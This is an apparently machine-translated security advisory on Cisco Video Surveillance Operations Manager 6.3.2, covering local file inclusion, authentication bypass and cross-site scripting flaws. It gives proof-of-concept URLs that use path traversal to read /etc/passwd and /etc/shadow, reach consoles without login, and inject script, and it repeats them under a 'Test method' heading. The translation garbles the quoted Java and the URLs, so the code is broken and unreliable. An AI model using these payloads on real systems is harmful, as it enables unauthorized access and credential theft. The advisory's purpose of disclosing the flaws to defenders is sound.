Multiple security vulnerabilities in Cisco Video Surveillance Operations Manager

Released on: 2013-03-13
Updated on: 2013-03-14

Affected Systems:
Cisco Video Surveillance Operations Manager 6.3.2
Description:
--------------------------------------------------------------------------------
Bugtraq id: 58476
 
Cisco Video Surveillance Operations Manager is an enterprise-class Video configuration and management solution.
 
Cisco Video Surveillance Operations Manager 6.3.2 and other versions have multiple local file inclusion vulnerabilities, security bypass vulnerabilities, and cross-site scripting vulnerabilities, attackers can exploit these vulnerabilities to bypass certain security restrictions to perform unauthorized operations, execute arbitrary script code in the browser, steal cookie authentication creden。, and open or run arbitrary files in the context of the affected application.
 
1. Local File Inclusion Vulnerability:
 
Read_log.jsp and read_log.dep do not verify the name and location of the log file. unauthenticated remote attackers can execute the following script:
 
---------------------------------------------
Read_log.jsp:
/Usr/BWhttpd/root/htdocs/BWT/utils/logs
From/usr/BWhttpd/logs/<% = logName %>
---------------------------------------------
---------------------------------------------
Read_log.dep
 
<%!
Protected shortlist getBwhttpdLog (String logName, String theOrder ){
String logPath = "/usr/BWhttpd/logs /";
String theLog = logPath + logName;
Repeated list resultList = new writable list ();
Try {
BufferedReader in = new BufferedReader (new FileReader (theLog ));
String theLine = "";
While (theLine = in. readLine ())! = Null) {if (theOrder. indexOf ("descending")>-1) {resultList. addFirst
 
(TheLine );
} Else {
ResultList. addLast (theLine );
}
}
-----------------------------------------------
POC:
 
Http: // serverip/BWT/utils/logs/read_log.jsp? Filter = & log = ../etc/passwd
Http: // serverip/BWT/utils/logs/read_log.jsp? Filter = & log = ../etc/shadow
 

2. Local File Inclusion Vulnerability:
 
The select and display logs do not verify the log file name. If an attacker bypasses/etc/passwd through an http post request, the system displays it as a log file.
 
POC:
 
Http: // serverip/monitor/logselect. php
 
3. Cisco Video Surveillance Operations Manager Version 6.3.2 does not perform correct authentication on the management and view consoles. Remote attackers can access the system without authentication and view the attached cameras.
 
POC:
 
Http: // serverip/broadware. jsp
 
4. XSS vulnerabilities:
 
Web applications do not perform Input and Output checks on most pages, and the XSS attack vulnerability exists.
 
POC: http: // serverip/vsom/index. php/"/title> <script> alert (" ciscoxss "); </script>
 
<* Source: B. saleh

Link: http://seclists.org/bugtraq/2013/Mar/79
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Http://www.example.com/BWT/utils/logs/read_log.jsp? Filter = & amp; log =.../../etc/passwd
Http://www.example.com/BWT/utils/logs/read_log.jsp? Filter = & amp; log = ../etc/shadow
Http://www.example.com/monitor/logselect.php
Http://www.example.com/broadware.jsp
Http://www.example.com/vsom/index.php/&quot;/title&amp;gt;&amp;lt;script&amp;gt;alert
 
(& Quot; ciscoxss & quot;); & amp; lt;/script & amp; gt;

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Cisco
-----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.cisco.com/en/US/products/ps9153/index.html